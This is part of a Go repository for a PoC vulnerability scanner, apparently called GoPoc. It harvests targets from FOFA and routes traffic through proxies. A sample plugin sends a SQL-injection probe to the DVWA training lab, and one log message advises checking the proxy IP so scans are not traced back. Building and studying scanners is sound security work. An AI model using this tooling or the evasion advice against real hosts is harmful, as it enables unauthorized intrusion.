procedureResponse.ContentLength 78 | customResponse.Proto = procedureResponse.Proto 79 | customResponse.ProtoMajor = procedureResponse.ProtoMajor 80 | customResponse.ProtoMinor = procedureResponse.ProtoMinor 81 | customResponse.TLS = procedureResponse.TLS 82 | customResponse.StatusCode = procedureResponse.StatusCode 83 | customResponse.Trailer = procedureResponse.Trailer 84 | customResponse.TransferEncoding = procedureResponse.TransferEncoding 85 | customResponse.Uncompressed = procedureResponse.Uncompressed 86 | 87 | cancel() 88 | return customResponse, nil 89 | } 90 | 91 | // ProcessPackagesForCode 被用来处理包,包含请求包和响应包. 用处给未写明的header头字段赋予初值 92 | func ProcessPackagesForCode(procedureRequest *http.Request, config SetHttpConfig) { 93 | var randomUserAgent string 94 | if config.Header["User-Agent"] != "" { 95 | randomUserAgent = config.Header["User-Agent"] 96 | } else { 97 | // 随机 UA 98 | userAgents := []string{ 99 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0", 100 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36", 101 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Hot Lingo 2.0)", 102 | "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", 103 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3451.0 Safari/537.36", 104 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174", 105 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1041.0 Safari/535.21", 106 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3", 107 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36", 108 | } 109 | rand.Seed(time.Now().UnixNano()) 110 | randomUserAgent = userAgents[rand.Intn(len(userAgents))] 111 | } 112 | 113 | // 对 header 头赋予默认值 114 | defaultHeaders := map[string]string{ 115 | "User-Agent": randomUserAgent, 116 | "Accept-Encoding": "gzip, deflate", 117 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 118 | "Accept": "*/*", 119 | "Connection": "close", 120 | "Content-Type": "text/html; charset=UTF-8", 121 | // 你可以添加更多默认的键值对,当 poc 没写时可以赋值给它 122 | } 123 | 124 | // 使用 map 来标记是否存在 125 | isHasExist := make(map[string]bool) 126 | 127 | // 情况1: header字段已设置值则使用设置值,不赋予默认值 128 | for headerName, headerValue := range config.Header { 129 | procedureRequest.Header.Add(headerName, headerValue) 130 | isHasExist[headerName] = true 131 | } 132 | 133 | // 情况2: header字段未设置值则赋予默认值. 134 | for headerName, headerValue := range defaultHeaders { 135 | if !isHasExist[headerName] { 136 | procedureRequest.Header.Add(headerName, headerValue) 137 | } 138 | } 139 | } 140 | -------------------------------------------------------------------------------- /main/Developer/HttpAbout/SetProxy.go: -------------------------------------------------------------------------------- 1 | package HttpAbout 2 | 3 | import ( 4 | "crypto/tls" 5 | "fmt" 6 | "net/http" 7 | "net/url" 8 | ) 9 | 10 | func SetProxy(inputProxy string, followRedirects bool) *http.Client { 11 | if inputProxy == "" { 12 | fmt.Println("[-] 你忘记输入代理地址了,自动为你配置为: http://127.0.0.1:8080") 13 | inputProxy = "http://127.0.0.1:8080" 14 | } 15 | 16 | // 创建一个代理函数,将请求发送到指定的本地端口 17 | proxy := func(_ *http.Request) (*url.URL, error) { 18 | return url.Parse(inputProxy) 19 | } 20 | 21 | // 创建一个自定义的 Transport,并设置代理函数 22 | transport := &http.Transport{ 23 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 24 | Proxy: proxy, 25 | } 26 | 27 | // 创建一个使用自定义 Transport 的 HTTP 客户端 28 | client := &http.Client{ 29 | Transport: transport, 30 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 31 | if !followRedirects { 32 | return http.ErrUseLastResponse // 如果不追随重定向,则返回上一个response 33 | } 34 | return nil // 如果跟随重定向,则允许继续 35 | }, 36 | } 37 | return client 38 | } 39 | -------------------------------------------------------------------------------- /main/Developer/HttpAbout/SimpleHttp.go: -------------------------------------------------------------------------------- 1 | package HttpAbout 2 | 3 | import ( 4 | "GoPoc/main/Developer/AllFormat" 5 | "GoPoc/main/Developer/Fofa" 6 | "GoPoc/main/Log" 7 | "bufio" 8 | "encoding/json" 9 | "fmt" 10 | "os" 11 | "strconv" 12 | "strings" 13 | ) 14 | 15 | func SendForFofa(config map[string]string, pocStruct Format.PocStruct) []string { 16 | maxFofaSizeInt, err := strconv.Atoi(config["maxFofaSize"]) 17 | if err != nil { 18 | Log.Log.Fatal("maxFofaSize 并不是一个有效数字\n") 19 | } 20 | 21 | var urlsList []string 22 | var queryResponse Fofa.QueryResponse 23 | err = json.Unmarshal(Fofa.SearchReturnByte(config, pocStruct, maxFofaSizeInt), &queryResponse) 24 | if err != nil { 25 | Log.Log.Fatal("Failed to parse JSON:", err) 26 | } 27 | 28 | for _, tmpOutcome := range queryResponse.Results { 29 | if !strings.HasPrefix(tmpOutcome[1].(string), tmpOutcome[0].(string)) { 30 | urlsList = append(urlsList, tmpOutcome[0].(string)+"://"+tmpOutcome[1].(string)) 31 | } else { 32 | urlsList = append(urlsList, tmpOutcome[1].(string)) 33 | } 34 | } 35 | Log.Log.Println(fmt.Printf("[+] 查询 fofa 语句为: %v 该fofa语句查询到: %v 条,你最大想搜索 %v 条\n", queryResponse.Query, queryResponse.Size, config["maxFofaSize"])) 36 | return urlsList 37 | } 38 | 39 | func SendForUrlOrFile(userInputDetectionURL string) []string { 40 | var urlsList []string 41 | if strings.Contains(strings.ToLower(userInputDetectionURL), "[url]") { 42 | userInputDetectionURL = userInputDetectionURL[5:] 43 | Log.Log.Println("[+] 基于单个url进行扫描: " + userInputDetectionURL) 44 | if !strings.HasPrefix(strings.ToLower(userInputDetectionURL), "http://") && !strings.HasPrefix(strings.ToLower(userInputDetectionURL), "https://") { 45 | userInputDetectionURL = "http://" + userInputDetectionURL 46 | } 47 | urlsList = append(urlsList, userInputDetectionURL) 48 | } else { 49 | userInputDetectionURL = userInputDetectionURL[6:] 50 | Log.Log.Println("[+] 基于指定路径进行扫描: " + userInputDetectionURL) 51 | urlFile, err := os.Open(userInputDetectionURL) 52 | if err != nil { 53 | Log.Log.Fatal("can't open file:", err) 54 | } 55 | defer func(file *os.File) { 56 | err = file.Close() 57 | if err != nil { 58 | Log.Log.Fatal("can't close file:", err) 59 | } 60 | }(urlFile) 61 | 62 | reader := bufio.NewReader(urlFile) 63 | for { 64 | line, err := reader.ReadString('\n') 65 | if err != nil && line == "" { 66 | break 67 | } 68 | urlsList = append(urlsList, strings.ReplaceAll(strings.ReplaceAll(line, "\r", ""), "\n", "")) 69 | line = "" 70 | } 71 | } 72 | 73 | return urlsList 74 | } 75 | -------------------------------------------------------------------------------- /main/Developer/handle/HandleJSON.go: -------------------------------------------------------------------------------- 1 | package Handle 2 | 3 | import ( 4 | format2 "GoPoc/main/Developer/AllFormat" 5 | "GoPoc/main/Log" 6 | "encoding/json" 7 | "strings" 8 | ) 9 | 10 | var pocStruct format2.PocStruct 11 | 12 | func TryToParsePocStruct(jsonData string) format2.PocStruct { 13 | err := json.Unmarshal([]byte(jsonData), &pocStruct) 14 | if err != nil { 15 | Log.Log.Fatal("[-] Error unmarshal Json:", err) 16 | } 17 | return pocStruct 18 | } 19 | 20 | // TraversePath 遍历PathList中的Path,并添加到allReqPath,用于处理poc中同时出现多个uri的情况 21 | func TraversePath(requestPackage format2.RequestPackage, inputUrl string) []string { 22 | var allReqPath []string 23 | var i = 0 24 | 25 | for _, tmpPath := range requestPackage.Uri { 26 | if !strings.HasPrefix(tmpPath, "/") { 27 | tmpPath = "/" + tmpPath 28 | } 29 | allReqPath = append(allReqPath, inputUrl+tmpPath) 30 | i++ 31 | } 32 | return allReqPath 33 | } 34 | -------------------------------------------------------------------------------- /main/Developer/handle/HandlePack.go: -------------------------------------------------------------------------------- 1 | package Handle 2 | 3 | import ( 4 | "GoPoc/main/Developer/AllFormat" 5 | "math/rand" 6 | "net/http" 7 | "time" 8 | ) 9 | 10 | // ProcessPackagesForJson 被用来处理包,包含请求包和响应包. 用处给未写明的header头字段赋予初值 11 | func ProcessPackagesForJson(procedureRequest *http.Request, pocStruct Format.PocStruct) { 12 | // 随机 UA 13 | userAgents := []string{ 14 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0", 15 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36", 16 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Hot Lingo 2.0)", 17 | "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", 18 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3451.0 Safari/537.36", 19 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174", 20 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1041.0 Safari/535.21", 21 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3", 22 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36", 23 | } 24 | rand.Seed(time.Now().UnixNano()) 25 | randomUserAgent := userAgents[rand.Intn(len(userAgents))] 26 | 27 | // 对 header 头赋予默认值 28 | defaultHeaders := map[string]string{ 29 | "User-Agent": randomUserAgent, 30 | "Accept-Encoding": "gzip, deflate", 31 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 32 | "Accept": "*/*", 33 | "Connection": "close", 34 | "Content-Type": "text/html; charset=UTF-8", 35 | // 你可以添加更多默认的键值对,当 poc 没写时可以赋值给它 36 | } 37 | 38 | // 使用 map 来标记是否存在 39 | isHasExist := make(map[string]bool) 40 | 41 | // 情况1: header字段已设置值则使用设置值,不赋予默认值 42 | for headerName, headerValue := range pocStruct.RequestPackage.Header { 43 | if headerValueString, ok := headerValue.(string); ok { 44 | procedureRequest.Header.Add(headerName, headerValueString) 45 | isHasExist[headerName] = true 46 | } 47 | } 48 | 49 | // 情况2: header字段未设置值则赋予默认值. 50 | for headerName, headerValue := range defaultHeaders { 51 | if !isHasExist[headerName] { 52 | procedureRequest.Header.Add(headerName, headerValue) 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /main/Developer/handle/HandleXML.go: -------------------------------------------------------------------------------- 1 | package Handle 2 | 3 | import ( 4 | "GoPoc/main/Developer/AllFormat" 5 | "GoPoc/main/Log" 6 | "encoding/xml" 7 | "io/ioutil" 8 | ) 9 | 10 | func ProcessXML(inputXml string) Format.RequestPackage { 11 | xmlData, err := ioutil.ReadFile(inputXml) 12 | if err != nil { 13 | Log.Log.Fatal("[-] Error reading file:", err) 14 | } 15 | var requestPackage Format.RequestPackage 16 | err = xml.Unmarshal(xmlData, &requestPackage) 17 | if err != nil { 18 | Log.Log.Fatal("[-] Error unmarshalling XML:", err) 19 | } 20 | return requestPackage 21 | } 22 | -------------------------------------------------------------------------------- /main/Developer/handle/utils.go: -------------------------------------------------------------------------------- 1 | package Handle 2 | 3 | import ( 4 | "GoPoc/main/Log" 5 | "bufio" 6 | "os" 7 | "strings" 8 | ) 9 | 10 | func HandleIni(fileName string) map[string]string { 11 | file, err := os.Open(fileName) 12 | if err != nil { 13 | Log.Log.Fatal("打开文件失败:%v\n", err) 14 | } 15 | defer func(file *os.File) { 16 | err = file.Close() 17 | if err != nil { 18 | Log.Log.Fatal("关闭文件失败:%v\n", err) 19 | } 20 | }(file) 21 | 22 | // 创建一个map用于存储键值对 23 | config := make(map[string]string) 24 | 25 | // 使用Scanner按行读取文件内容 26 | scanner := bufio.NewScanner(file) 27 | var key string 28 | for scanner.Scan() { 29 | line := strings.TrimSpace(scanner.Text()) 30 | if line != "" { 31 | if strings.HasPrefix(line, "-") { 32 | // 保存当前行作为键名 33 | key = strings.TrimPrefix(line, "-") 34 | } else if key != "" { 35 | // 存储键值对到map中 36 | config[key] = line 37 | key = "" 38 | } 39 | } 40 | } 41 | return config 42 | } 43 | -------------------------------------------------------------------------------- /main/Developer/readme.txt: -------------------------------------------------------------------------------- 1 | Developer 模块: 2 | 专门用于给开发人员使用的,如果你想二开请在此目录下进行操作. -------------------------------------------------------------------------------- /main/Log/Logger.go: -------------------------------------------------------------------------------- 1 | package Log 2 | 3 | import ( 4 | "log" 5 | "os" 6 | ) 7 | 8 | var Log *log.Logger 9 | 10 | type Logger struct { 11 | } 12 | 13 | func NewLogger() *Logger { 14 | return &Logger{} 15 | } 16 | 17 | func (i *Logger) Init() { 18 | Log = log.New(os.Stdout, "", log.Ldate | log.Ltime) 19 | } 20 | -------------------------------------------------------------------------------- /main/User/Resource/test.txt: -------------------------------------------------------------------------------- 1 | {"product": "MAIPU-router", "rule": "protocol=snmp && (banner=\"Maipu\" || banner=\"MyPower (R) \" || banner=\"MyPower \")"} -------------------------------------------------------------------------------- /main/User/Utils/FileUtils.go: -------------------------------------------------------------------------------- 1 | package Utils 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "log" 7 | "os" 8 | ) 9 | 10 | // WriteLinesToFile [写文件] 写内容进文件中 11 | func WriteLinesToFile(filePath string, lines []string) { 12 | file, err := os.Create(filePath) 13 | if err != nil { 14 | fmt.Println("Error creating file:", err) 15 | return 16 | } 17 | defer func(file *os.File) { 18 | err := file.Close() 19 | if err != nil { 20 | log.Fatal(err) 21 | } 22 | }(file) // 确保在函数退出时关闭文件 23 | 24 | writer := bufio.NewWriter(file) 25 | for _, line := range lines { 26 | _, err := writer.WriteString(line + "\n") 27 | if err != nil { 28 | fmt.Println("Error writing to file:", err) 29 | return 30 | } 31 | } 32 | 33 | // 确保所有缓冲区的数据都写入文件 34 | err = writer.Flush() 35 | if err != nil { 36 | fmt.Println("Error flushing writer:", err) 37 | return 38 | } 39 | } 40 | 41 | // ReadFileToStringArray [读文件] 按行读取文件,返回值为字符串数组 42 | func ReadFileToStringArray(filePath string) []string { 43 | var lines []string 44 | file, err := os.Open(filePath) // 替换为你的文件路径 45 | if err != nil { 46 | fmt.Println("Error:", err) 47 | os.Exit(1) 48 | } 49 | defer func(file *os.File) { 50 | err := file.Close() 51 | if err != nil { 52 | fmt.Println(err.Error()) 53 | } 54 | }(file) // 确保在函数结束时关闭文件 55 | scanner := bufio.NewScanner(file) 56 | for scanner.Scan() { 57 | lines = append(lines, scanner.Text()) // 将每一行添加到切片 58 | } 59 | if err := scanner.Err(); err != nil { 60 | fmt.Println("Error reading file:", err) 61 | os.Exit(1) 62 | } 63 | return lines 64 | } 65 | 66 | // AppendToFile [写文件] 使用追加的方式将内容写入进文件 67 | func AppendToFile(filePath string, content string) { 68 | // 打开文件,使用追加访问模式及创建文件的权限 69 | file, err := os.OpenFile(filePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 70 | if err != nil { 71 | fmt.Printf("failed to open file: %v\n", err) 72 | } 73 | defer func(file *os.File) { 74 | err := file.Close() 75 | if err != nil { 76 | log.Fatal(err) 77 | } 78 | }(file) 79 | 80 | // 将字符串写入文件 81 | if _, err = file.WriteString(content + "\n"); err != nil { // 可以根据需要添加换行符 82 | fmt.Printf("failed to write to file: %v\n", err) 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /main/User/Utils/Regex.go: -------------------------------------------------------------------------------- 1 | package Utils 2 | 3 | import ( 4 | "regexp" 5 | "strings" 6 | ) 7 | 8 | // GetXXXContent 获取字符串中括号内/外的内容 9 | func GetXXXContent(_type string, str string) string { 10 | var regEx string 11 | switch _type { 12 | case "rightBrackets": 13 | regEx = "(?<=\\))(.+)" 14 | case "brackets": 15 | regEx = "(?<=\\()(.+?)(?=\\))" 16 | case "middleBrackets": 17 | regEx = "\\[(.*?)]" 18 | case "brace": 19 | regEx = "\\{(.+?)\\}" 20 | } 21 | 22 | reg := regexp.MustCompile(regEx) 23 | matches := reg.FindAllStringSubmatch(str, -1) 24 | 25 | var stringBuilder strings.Builder 26 | for _, match := range matches { 27 | stringBuilder.WriteString(match[1]) 28 | } 29 | return stringBuilder.String() 30 | } 31 | 32 | // RegexSpecialChair 正则过滤特殊字符(1.空格 2.特殊字符[中英文]) 33 | func RegexSpecialChair(str string) string { 34 | regEx := "[\\s`~!@#$%^&*()+=|{}':;',\\[\\].<>/?~!@#¥%……&*()——+|{}【】‘;:”“’。,、?]" 35 | reg := regexp.MustCompile(regEx) 36 | return reg.ReplaceAllString(str, "") 37 | } 38 | -------------------------------------------------------------------------------- /main/User/Utils/Strings.go: -------------------------------------------------------------------------------- 1 | package Utils 2 | 3 | import ( 4 | "GoPoc/main/Developer/HttpAbout" 5 | "bufio" 6 | "bytes" 7 | "fmt" 8 | "math/rand" 9 | "regexp" 10 | "strconv" 11 | "strings" 12 | ) 13 | 14 | // RandomStringByModule 根据模式来返回对应的字符串. 模式1为所有字符(即包含数字和英文字符),模式2为纯数字,模式3为纯英文字符 15 | func RandomStringByModule(size, module int) string { 16 | var allChar string 17 | if module == 1 { 18 | allChar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890" 19 | } else if module == 2 { 20 | allChar = "1234567890" 21 | } else { 22 | allChar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 23 | } 24 | var buffer bytes.Buffer 25 | for i := 0; i < size; i++ { 26 | buffer.WriteByte(allChar[rand.Intn(len(allChar))]) 27 | } 28 | return buffer.String() 29 | } 30 | 31 | // SplitStr 返回被 两两分割 的数组 32 | func SplitStr(key string) []int { 33 | str := []rune(key) 34 | result := make([]int, len(str)/2) 35 | l, i, m := 2, 0, 0 36 | 37 | for i+m < len(str) { 38 | if i%l == 0 && i != 0 { 39 | str = append(str[:i+m], append([]rune{','}, str[i+m:]...)...) 40 | m++ 41 | } 42 | i++ 43 | } 44 | 45 | se := string(str) 46 | a := strings.Split(se, ",") 47 | for i := 0; i < len(result); i++ { 48 | j := a[i] 49 | if j == "" { 50 | break 51 | } 52 | val, _ := strconv.Atoi(j) 53 | result[i] = val 54 | } 55 | 56 | return result 57 | } 58 | 59 | // ParseHeaders 解析输入字符串,并返回键值对的映射 60 | func ParseHeaders(input string) { 61 | // 创建一个正则表达式,用于匹配键值对 62 | re := regexp.MustCompile(`(?m)^\s*(\S+):\s*(.*)$`) 63 | matches := re.FindAllStringSubmatch(input, -1) 64 | 65 | // 创建一个map来存储结果 66 | headers := make(map[string]string) 67 | 68 | // 遍历匹配结果,并将其存储到map中 69 | for _, match := range matches { 70 | if len(match) > 2 { 71 | headers[strings.TrimSpace(match[1])] = strings.TrimSpace(match[2]) 72 | } 73 | } 74 | fmt.Println("[+] 解析 header 字符串,输出的结果为:") 75 | // 打印结果 76 | for key, value := range headers { 77 | fmt.Printf("%s: %s\n", key, value) 78 | } 79 | } 80 | 81 | // FullyAutomaticFillingHeader 输入请求体,全自动构造 header 82 | func FullyAutomaticFillingHeader(config HttpAbout.SetHttpConfig, input string) HttpAbout.SetHttpConfig { 83 | // 按行扫描,划分出请求头 84 | var headerLines []string 85 | var currentPosition int 86 | scanner := bufio.NewScanner(strings.NewReader(input)) 87 | for scanner.Scan() { 88 | line := scanner.Text() 89 | currentPosition++ 90 | if strings.TrimSpace(line) == "" { 91 | break 92 | } 93 | headerLines = append(headerLines, line) 94 | } 95 | sendMethod := strings.Fields(headerLines[0]) 96 | config.Method = sendMethod[0] 97 | 98 | input = strings.Join(headerLines, "\r\n") 99 | re := regexp.MustCompile(`(?m)^\s*(\S+):\s*(.*)$`) 100 | matches := re.FindAllStringSubmatch(input, -1) 101 | 102 | // 创建一个map来存储结果 103 | headers := make(map[string]string) 104 | 105 | // 遍历匹配结果,并将其存储到map中 106 | for _, match := range matches { 107 | if len(match) > 2 { 108 | headers[strings.TrimSpace(match[1])] = strings.TrimSpace(match[2]) 109 | } 110 | } 111 | for key, value := range headers { 112 | if strings.ToLower(key) == "host" || strings.ToLower(key) == "user-agent" { 113 | continue 114 | } 115 | config.Header[key] = value 116 | } 117 | return config 118 | } 119 | -------------------------------------------------------------------------------- /main/User/dvwaSqlScan.go: -------------------------------------------------------------------------------- 1 | package User 2 | 3 | import ( 4 | "GoPoc/main/Developer/AllFormat" 5 | "GoPoc/main/Developer/HttpAbout" 6 | "GoPoc/main/User/Utils" 7 | "strings" 8 | ) 9 | 10 | var Json string 11 | var Poc func(hostInfo string) bool 12 | var Exp func(expResult Format.ExpResult) Format.ExpResult 13 | 14 | // Poc 编写,以 dvwa 靶场的sql注入为例 15 | func init() { 16 | // 有代码使用代码,无代码使用json 17 | // 如果存在代码,可以不写Json格式(即Json格式有架构,但内容为空).但必须存在 fofa语句 18 | // 此处的json只是说明json的使用方式,与代码模式并无关联 19 | Json = `{ 20 | "VulnName":"dvwa 靶场 sql 注入", 21 | 22 | "CheckIP":"false", 23 | 24 | "Coroutine":"10", 25 | 26 | "File":"", 27 | 28 | "Url":"127.0.0.1", 29 | 30 | "Fofa":"body=\"Login :: Damn Vulnerable Web Application\"", 31 | "Uri" : "/dvwa/", 32 | 33 | "Request":{ 34 | 35 | "Method": "GET", 36 | 37 | "Uri": [ 38 | "/robots.txt", 39 | "/hello.txt" 40 | ], 41 | 42 | "Header":{ 43 | "Accept-Encoding":"gzip" 44 | } 45 | }, 46 | 47 | "Response":{ 48 | 49 | "Operation":"OR", 50 | 51 | "Group":[ 52 | 53 | { 54 | 55 | "Regexp": ".*?", 56 | "Header":{ 57 | 58 | "Status": "200" 59 | }, 60 | 61 | "Body":[ 62 | "Hello World", 63 | "wahaha" 64 | ] 65 | }, 66 | 67 | { 68 | "Header":{ 69 | 70 | "Status": "200" 71 | } 72 | } 73 | ] 74 | 75 | } 76 | }` 77 | 78 | getSessionByLogin := func(hostInfo string) (string, error) { 79 | // 发起登录请求 --> 302跳转 --> 获取请求包中的session , 并返回 80 | config := HttpAbout.NewHttpConfig() 81 | config.Uri = "/dvwa/" 82 | resp, err := HttpAbout.SendHttpRequest(hostInfo, config) 83 | if err != nil { 84 | return "", err 85 | } 86 | config.Header["Cookie"] = resp.Header["Set-Cookie"][0] 87 | config.Body = "username=admin&password=password&Login=Login&user_token=" + Utils.RandomStringByModule(24, 1) 88 | config.Uri = "/dvwa/login.php" 89 | resp, err = HttpAbout.SendHttpRequest(hostInfo, config) 90 | if err != nil { 91 | return "", err 92 | } 93 | if !strings.Contains(resp.Body, "Welcome :: Damn Vulnerable Web ") { 94 | return "", err 95 | } 96 | return resp.Header["Set-Cookie"][0], nil 97 | } 98 | 99 | // 建议: 函数名+随机命名 100 | sendLoginByToken455445 := func(hostInfo string) (Format.CustomResponseFormat, error) { 101 | var err error 102 | var customResponse Format.CustomResponseFormat 103 | config := HttpAbout.NewHttpConfig() 104 | config.Header["Cookie"], err = getSessionByLogin(hostInfo) // (非强制) 自定义Header头 105 | if err != nil { 106 | return customResponse, nil 107 | } 108 | config.Header["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" 109 | config.Header["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0" // (非强制) 如果不写的话随机从默认URL列表上选取一个 110 | config.TimeOut = 5 // (非强制) 如果不写的话默认值为 5秒 111 | config.Method = "GET" // (非强制) 如果不写的话默认值为 GET方式 112 | //config.Body = `123` // (非强制) 如果不写的话默认值为 "" 113 | config.Uri = "/dvwa/index.php" // (非强制) 如果不写的话默认值为 "" 114 | config.IsRedirect = true // (非强制) 如果不写的话默认值为 false,即返回的响应包数据为重定向前的响应包 115 | return HttpAbout.SendHttpRequest(hostInfo, config) 116 | } 117 | 118 | // 建议: 函数名+随机命名 119 | sendSqlPayload5251552 := func(hostInfo string) (Format.CustomResponseFormat, error) { 120 | config := HttpAbout.NewHttpConfig() 121 | config.Header["Cookie"] = "security=low; PHPSESSID=1abcbe73869e90560e9061ca636c813e" 122 | config.Uri = "/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" 123 | return HttpAbout.SendHttpRequest(hostInfo, config) 124 | } 125 | 126 | // 如果使用代码模式, Poc函数为必须,其中的参数固定 127 | Poc = func(hostInfo string) bool { 128 | resp, err := sendLoginByToken455445(hostInfo) 129 | if err != nil { 130 | return false 131 | } 132 | if !strings.Contains(resp.Body, "Welcome to Damn") { 133 | return false 134 | } 135 | resp, err = sendSqlPayload5251552(hostInfo) 136 | return err == nil && strings.Contains(resp.Body, "You have an error in your SQL syntax;") 137 | } 138 | 139 | // 如果使用代码模式, Exp函数为必须,其中的参数固定 140 | // Exp 你可以尝试自己写一下: 141 | Exp = func(expResult Format.ExpResult) Format.ExpResult { 142 | return expResult 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /main/User/readme.txt: -------------------------------------------------------------------------------- 1 | User 模块: 2 | 专门用于给用户使用的,如果你想使用代码模式请在此处建 文件名.go 文件 3 | 4 | 5 | 以 dvwa 靶场的 sql 注入为例,详情请看 dvwaSqlScan.go 文件 6 | -------------------------------------------------------------------------------- /main/config.ini: -------------------------------------------------------------------------------- 1 | -email 2 | xxxxxxxxxxx@gamil.com 3 | -key 4 | fdgdfhfgdhdfgdhfghfdg 5 | -vul 6 | D:\Coding\Github\GoPoc\main\User\test.go 7 | -mod 8 | poc 9 | -url 10 | http://127.0.0.1 11 | -proxy 12 | http://127.0.0.1:8082 13 | -maxConcurrentLevel 14 | 3 15 | -maxFofaSize 16 | 300 -------------------------------------------------------------------------------- /main/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | format2 "GoPoc/main/Developer/AllFormat" 5 | "GoPoc/main/Developer/Core" 6 | "GoPoc/main/Developer/Handle" 7 | "GoPoc/main/Developer/HttpAbout" 8 | "GoPoc/main/Log" 9 | "GoPoc/main/User" 10 | "GoPoc/main/User/Utils" 11 | "flag" 12 | "fmt" 13 | "log" 14 | "net" 15 | "os" 16 | "regexp" 17 | "strconv" 18 | "strings" 19 | "time" 20 | ) 21 | 22 | func selectModule(config map[string]string, timeSet time.Duration) { 23 | // 两种 poc模式,第一种为json格式,第二种为代码格式 24 | var pocStruct format2.PocStruct 25 | pocModule := Core.LoadPlugin(config["vul"]) 26 | pocStruct = Handle.TryToParsePocStruct(User.Json) 27 | var userInputDetectionURL string 28 | if pocStruct.Url != "" { 29 | userInputDetectionURL = "[url]" + pocStruct.Url 30 | } else if pocStruct.File != "" { 31 | userInputDetectionURL = "[file]" + pocStruct.File 32 | } else { 33 | userInputDetectionURL = "" 34 | } 35 | Log.NewLogger().Init() 36 | maxConcurrentLevelInt := 0 37 | var err error 38 | if pocStruct.Coroutine != "" { 39 | maxConcurrentLevelInt, err = strconv.Atoi(pocStruct.Coroutine) 40 | } else { 41 | maxConcurrentLevelInt, err = strconv.Atoi(config["coroutine"]) 42 | } 43 | Core.MaxConcurrentLevelInt = maxConcurrentLevelInt 44 | if err != nil { 45 | Core.MaxConcurrentLevelInt = 200 46 | } 47 | if Core.MaxConcurrentLevelInt < 1 { 48 | Core.MaxConcurrentLevelInt = 200 49 | } 50 | if strings.ToLower(config["builtinFingerprint"]) == "true" { 51 | Core.IsBuiltinFingerprint = true 52 | } 53 | if strings.ToLower(config["detectionMode"]) == "true" { 54 | Core.IsDetectionModeByBool = true 55 | } 56 | 57 | var urlsList []string 58 | detectionBurpIsOpen(config["proxy"]) // 检测是否开启了burp,如果没有开启则输出“没有开启” 且直接返回 59 | if pocStruct.VulnName != "" { 60 | Log.Log.Println("[+] 加载的脚本名为: " + pocStruct.VulnName) 61 | } 62 | 63 | Log.Log.Println("[+] 加载的脚本的路径为: " + config["vul"]) 64 | Log.Log.Println("[+] 开启的协程数为: " + strconv.Itoa(Core.MaxConcurrentLevelInt)) 65 | HttpAbout.InputProxy = config["proxy"] 66 | 67 | if strings.ToLower(pocStruct.CheckIP) != "false" { // 允许脚本不检测ip,直接开始执行,作用为对某些工作用的脚本省去几秒等待时间 68 | ipAddressList := getIpAddress() // 检测是否开启代理 69 | if len(ipAddressList) < 3 { 70 | ipAddressList = append(ipAddressList, "null") 71 | } 72 | Log.Log.Printf("[+] 国内发包IP地址为: %s \t国外发包IP地址为: %s \t谷歌访问测试: %s ", ipAddressList[0], ipAddressList[1], ipAddressList[2]) 73 | Log.Log.Println("[+] 【重要,必看】请确认各项IP地址无误,如扫描国内则看\"国内发包IP地址\"是否为代理IP地址,其他以此类推,不然被溯源了!") 74 | Log.Log.Println("[+] 将在5秒后自动开始扫描") 75 | time.Sleep(timeSet * time.Second) // 休眠5秒 76 | } 77 | 78 